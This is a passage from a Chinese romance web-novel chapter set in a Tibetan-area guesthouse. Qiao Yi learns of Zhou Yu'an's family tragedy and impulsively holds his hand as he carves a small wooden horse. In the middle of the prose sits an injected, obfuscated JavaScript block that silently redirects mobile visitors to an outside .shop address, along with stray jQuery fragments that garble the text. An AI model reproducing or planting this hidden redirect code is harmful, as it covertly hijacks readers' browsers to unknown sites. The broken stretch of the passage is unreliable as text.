晚饭后乔一主动揽了洗碗的活。
卓玛阿姨炖的那锅牛肉汤是真的绝，汤底浓郁，她连干了两碗，肉也吃了不少，什么减肥计划通通顾不上了，最后连汤底泡的饼都吃的干干净净。阿姨在旁边看着她笑，说你这孩子跟予安一样，吃什么都香，不挑嘴。
周予安当时就坐在旁边，听他阿妈用他做对比，只是安安静静地吃完自己那份，把碗摞在灶台上，起身走了。
他一走，乔一就撸起袖子开始收桌子，“阿姨，今晚我来洗，您都忙了一整天了，坐着歇会儿。”
“哪能让你洗。”卓玛阿姨过来拦她。
“不行不行，您要是不让我洗，那我明天就不敢吃了。”乔一抱着碗站起来，另一只手已经把卓玛阿姨的碗也收了过来，连筷子一起拢在手里。
卓玛阿姨被她这架势弄得哭笑不得，由她去了。但她也没去歇着，搬了个矮脚凳坐在厨房门口，从针线篮里掏出件没织完的毛衣，就着廊下的灯光开始织。
厨房里传来哗哗的水声。乔一把碗摞进水槽里，挤了两泵洗洁精，热水哗地冲出来，洗碗布搓过碗面，油渍顺着水被冲走。她洗的仔细，每一个碗都转着圈洗两遍，再用清水冲干净，倒扣在沥水架上。
“乔一啊，你多大了？”卓玛阿姨在门口和她唠嗑。
“二十六了。”
“姑娘家一个人跑这么远，家里人不担心？”
乔一把最后一个碗冲干净，甩了甩手上的水，转身靠在灶台边：“担心啊，我妈天天催我回去呢。不过我跟我妈说了，我想趁年轻多跑跑，等以后走不动了再想走，可就不容易了。”
“这话说的对。”卓玛阿姨点点头，手里的针没停，两根竹签交错着，毛线一圈一圈的绕上去。
乔一拿布把手擦干净，也拖了把椅子坐到门口，挨着卓玛阿姨旁边坐下，“阿姨，周予安平时是不是就在马场和民宿这两边忙？”
“嗯，有时候也去牧场那边看看，家里还养着十来头牦牛，不过现在是雇的人在养。白天马场那边忙完了，会回来帮我搭把手，搬搬抬抬的，有些活儿我老了干不动。”
卓玛阿姨说：“以前他爸和他哥在的时候，这些事哪儿轮的到他，他爸放牧，他哥管马场，民宿这边的杂活儿，他哥和他一起干，我就给他们做做饭，算算账，日子过得挺松快的。”
她说到这儿顿了一下，竹签戳进毛线里，停了两秒才又动起来。
“后来他爸和他哥出了车祸，去县里拉草料，路上撞到大货车，两人都没了。”
乔一坐在旁边，手里还攥着那块干布，不知道该说什么。
“那时候我整个人都垮了，予安才十三岁，刚上初中。瘦的跟竹竿一样，站在我床头说，阿妈，你别怕，我答应过哥哥会照顾你。”卓玛阿姨的声音低下去，像是怕被谁听见似的，“那孩子从小就不爱说话，就会闷头干活。他哥比他外向，常哄他开心，他哥走了以后，他更不说话了。”
乔一喉咙有些发紧，低头看着自己的脚尖。
“后来高中他考上市里最好的学校，可他犟得很，不愿意去，非要陪在我身边，怎么说都不听。”卓玛阿姨叹了口气。
“大学倒是去成都念了，离得近，周末还能回来。我以为他想通了，结果这孩子一毕业就立马回来了。你说一个大学生回来待在这小镇上，能有什么出息，我让他去外面闯一闯，找个他喜欢的好工作，交个女朋友，我也替他高兴，可他就说自己哪儿也不去。”
乔一偏过头，不敢看卓玛阿姨的脸。
她知道周予安为什么会选择留下。廊下的灯光把卓玛阿姨的脸照的有些暖，眼角有明显的皱纹，失去了丈夫和大儿子后，把她的精气神也抽走了一部分。周予安怎么可能放心让她自己一个人生活，他怕自己走了，身后唯一的这盏灯也灭了。
十三岁站在那张床边说出那句话的时候，他该是什么表情？
乔一吸了下鼻子，努力把涌上来的酸意压回去。她站起来，嗓子有点发闷：“阿姨，我去前院透透气。”
“去吧，别在外面待太久，夜里凉。”
走到前院，乔一看到周予安坐在树底下。膝盖上搁着一块木头，手里攥着把刻刀，正低头雕东西。灯光照在他的半个肩膀和一边的侧脸上，刀尖在木头上刮出细碎的声音，木屑一绺一绺的落在裤腿上。
他听见脚步声，抬头看过来，发现是乔一，又把视线收回去，认真的做着手上的动作。
乔一走过去，在他旁边的石墩上坐下。两个人隔了不到一臂的距离，能听见彼此的呼吸声。风从院子里穿过，把树上的几片黄叶吹落下来，落在他手上，周予安伸手拂掉，继续刻。
“你在刻东西？”乔一侧过脸问他。
“嗯。”
“刻的什么？看起来很小巧。”
“小马。”
周予安没抬头，继续在木头上刻着。为了方便，他的袖口卷到了小臂中间的位置，露出的一截手腕上有道旧伤疤，在灯光下不太明显。手握着刀柄的姿势很稳，虎口和掌心都有薄茧，一看就是常年干活留下的。
乔一忽然想起刚才卓玛阿姨说的话。
他一个人扛了多少东西，她不了解。但光是听到那些话，她就觉得心里堵得慌，像有什么东西沉甸甸的坠着，说不上是心疼还是别的什么。
她看着他的那双手在木头上来回走，一点点的刻出了一个轮廓。确实是很小的一匹马，有圆圆的肚子和短短的腿，还没刻完，但已经能看出是小马驹的样子，憨头憨脑的。
周予安用拇指轻轻蹭了一下刻痕边缘，把上面的毛刺蹭掉。
就在那一瞬间，乔一脑子里什么也没想，但手已经自己伸出去了。
她把他握着刻刀的那只手从木头上拿下来，握在自己手里。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939590|213857||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他的手比她的还凉，指节硬硬的，掌心有粗粝的茧。她两只手一起包着他的手，能感觉到他手背皮肤的温度。
“周予安，你好辛苦啊。”乔一的声音很轻，轻的像是说给自己听的。
周予安整个人僵住了。
她感觉到他的手指微微蜷缩了一下，但没立刻抽走。树影被风吹的晃了一下，他就那么低着头，目光落在两个人交叠的手上。她的掌心是热的，热度从她的掌心传了过来，一点点渗透进他冰凉的皮肤里。
他没有说话，也没有动。
时间过去了一秒，两秒。乔一自己也懵了，她不知道自己怎么就把手伸出去了，脑子嗡嗡的，手心也开始出汗了。她正想说什么把场面圆回来，周予安已经把手慢慢的抽回去了。动作很轻，像是从她掌心滑出去的，指尖最后蹭过她的手心，带起一阵细微的痒。
他站起来，把刻刀和木头都揣在手里，转身就往屋里走。
经过她身侧时，乔一正好瞥见他耳朵边缘的颜色正慢慢变红。
乔一坐在石墩上愣了好一会儿，夜风灌进她毛衣里，才后知后觉的打了个哆嗦。她把脸埋进手掌，掌心还留着他手背的温度和那些手茧的触感。
她在心里骂了自己一百遍。
乔一，你是不是疯了？手怎么那么快，你们才认识几天啊？你就上手了？人家没当场把你甩开就算是给你面子了。
她深吸了一口气，把脸抬起来，思考着要不要去解释一下，想了半天，最后决定还是当没发生过吧......
要解释的话解释什么？说你手太凉了我帮你暖暖？
那不是更完蛋嘛！
她起身上楼，经过周予安房间门口的时候，门缝里透了一点光。她放轻了脚步，几乎是踮着脚尖走过去的。
走到自己房门口，刚准备推门，忽然发现门把手上别着一张纸条，对折了一下，边角整整齐齐的。她摘下来展开，上面写着几个字。
“明天降温，多穿。”
没有落款，就这几个字。
她知道这是周予安写的。
乔一盯着那张纸看了三遍，然后把纸条小心地折好，塞进外套口袋里，推门进屋。
屋里暖气开着，她爬上床裹紧被子，翻了两个身，然后摸出手机给秦女士回了条微信：“妈，我再多待几天，这边挺好的，回去的时候给你带礼物。”
发完之后把手机扣在枕边，盯着天花板嘿嘿笑了两声。脑海里浮现出周予安那只凉凉的手和那双红透了的耳朵。
她把手从被子里伸出来，摊开掌心看了看，好像上面还残留着他的温度。
又好像没有。
她把手攥起来，又松开，又攥起来。翻来覆去折腾了好几下，最后把那只手按在自己脸上。
烫的！
窗外的风吹得经幡哗啦响，她闭上眼睛，嘴角还翘着。